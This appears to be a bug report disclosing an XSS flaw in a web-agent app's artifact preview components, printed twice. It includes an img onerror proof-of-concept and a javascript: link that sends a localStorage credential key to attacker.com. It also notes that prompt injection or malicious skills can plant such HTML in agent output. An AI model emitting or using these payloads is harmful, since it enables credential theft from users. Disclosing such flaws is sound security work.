Summary
The MarkdownArtifactPreview and OfficeArtifactPreview components render agent-generated Markdown/HTML artifacts directly into the DOM without sanitization. dangerouslySetInnerHTML and innerHTML are used on content that can be controlled by an attacker via prompt injection or malicious skills. This allows arbitrary JavaScript execution in the user's browser session, leading to credential theft and session hijacking.
What is broken?
The artifact preview rendering pipeline bypasses React's built-in XSS protections. The rendered variable produced by markdown-it with plugins (KaTeX, highlight.js, task lists) is injected directly into the DOM via dangerouslySetInnerHTML={{ __html: rendered }}. Mermaid diagrams are rendered via innerHTML. Office previews also use innerHTML for plain text messages. No DOMPurify or equivalent sanitization is applied. An attacker who can influence agent output (prompt injection, compromised skill, or malicious Telegram message) can embed <img onerror="...">, <script>, or javascript: URL payloads that execute in the origin context.
Steps to reproduce
- Open the web-agent application in a browser.
- In the chat input, send: "Create a markdown artifact with this exact HTML:
<img src='x' onerror='console.log(\\"XSS_POC: document.cookie=\\", document.cookie); console.log(\\"XSS_POC: localStorage keys=\\", Object.keys(localStorage));'>"
- The agent will generate an artifact offer. Click to open the artifact preview.
- Open the browser console (F12 → Console).
- Observe the console log output showing
document.cookie and localStorage keys — proving the XSS payload executed.
- (Optional) Repeat with a
javascript: URL in a markdown link: [Click me](javascript:fetch('https://attacker.com/steal?d='+localStorage.getItem('credential_vault_keys')))
Expected behavior
- All agent-generated HTML/Markdown content should be sanitized with DOMPurify or equivalent before DOM insertion.
- Event handlers (
onerror, onload, onclick, etc.) should be stripped from all rendered content.
<script> tags and javascript: URLs should be removed or neutralized.
- The artifact preview should display safe, sanitized HTML with no JavaScript execution capability.
Actual behavior
- The
rendered HTML from markdown-it is passed directly to dangerouslySetInnerHTML without any sanitization.
- Mermaid error fallbacks are injected via
innerHTML with only partial escaping (escapeArtifactHtml only handles basic HTML entities, not event handlers).
- Office preview messages are injected via
innerHTML with plain text but no structural validation.
- Any XSS payload in agent output executes immediately when the artifact is previewed, with full access to the origin's IndexedDB,
localStorage, sessionStorage, and document.cookie.
Browser
Chrome 136, Firefox 138, Safari 17.5 (all affected)
Environment
Affected files: src/ui/components/artifact-preview/MarkdownArtifactPreview.tsx:59,65,89, src/ui/components/artifact-preview/OfficeArtifactPreview.tsx:56,95 Severity: Critical (CVSS 9.1) CWE: CWE-79 OWASP: A03:2021 — Injection
Extra context
No response
Summary
The
MarkdownArtifactPreviewandOfficeArtifactPreviewcomponents render agent-generated Markdown/HTML artifacts directly into the DOM without sanitization.dangerouslySetInnerHTMLandinnerHTMLare used on content that can be controlled by an attacker via prompt injection or malicious skills. This allows arbitrary JavaScript execution in the user's browser session, leading to credential theft and session hijacking.What is broken?
The artifact preview rendering pipeline bypasses React's built-in XSS protections. The
renderedvariable produced bymarkdown-itwith plugins (KaTeX, highlight.js, task lists) is injected directly into the DOM viadangerouslySetInnerHTML={{ __html: rendered }}. Mermaid diagrams are rendered viainnerHTML. Office previews also useinnerHTMLfor plain text messages. No DOMPurify or equivalent sanitization is applied. An attacker who can influence agent output (prompt injection, compromised skill, or malicious Telegram message) can embed<img onerror="...">,<script>, orjavascript:URL payloads that execute in the origin context.Steps to reproduce
<img src='x' onerror='console.log(\\"XSS_POC: document.cookie=\\", document.cookie); console.log(\\"XSS_POC: localStorage keys=\\", Object.keys(localStorage));'>"document.cookieandlocalStoragekeys — proving the XSS payload executed.javascript:URL in a markdown link:[Click me](javascript:fetch('https://attacker.com/steal?d='+localStorage.getItem('credential_vault_keys')))Expected behavior
onerror,onload,onclick, etc.) should be stripped from all rendered content.<script>tags andjavascript:URLs should be removed or neutralized.Actual behavior
renderedHTML frommarkdown-itis passed directly todangerouslySetInnerHTMLwithout any sanitization.innerHTMLwith only partial escaping (escapeArtifactHtmlonly handles basic HTML entities, not event handlers).innerHTMLwith plain text but no structural validation.localStorage,sessionStorage, anddocument.cookie.Browser
Chrome 136, Firefox 138, Safari 17.5 (all affected)
Environment
Affected files: src/ui/components/artifact-preview/MarkdownArtifactPreview.tsx:59,65,89, src/ui/components/artifact-preview/OfficeArtifactPreview.tsx:56,95 Severity: Critical (CVSS 9.1) CWE: CWE-79 OWASP: A03:2021 — Injection
Extra context
No response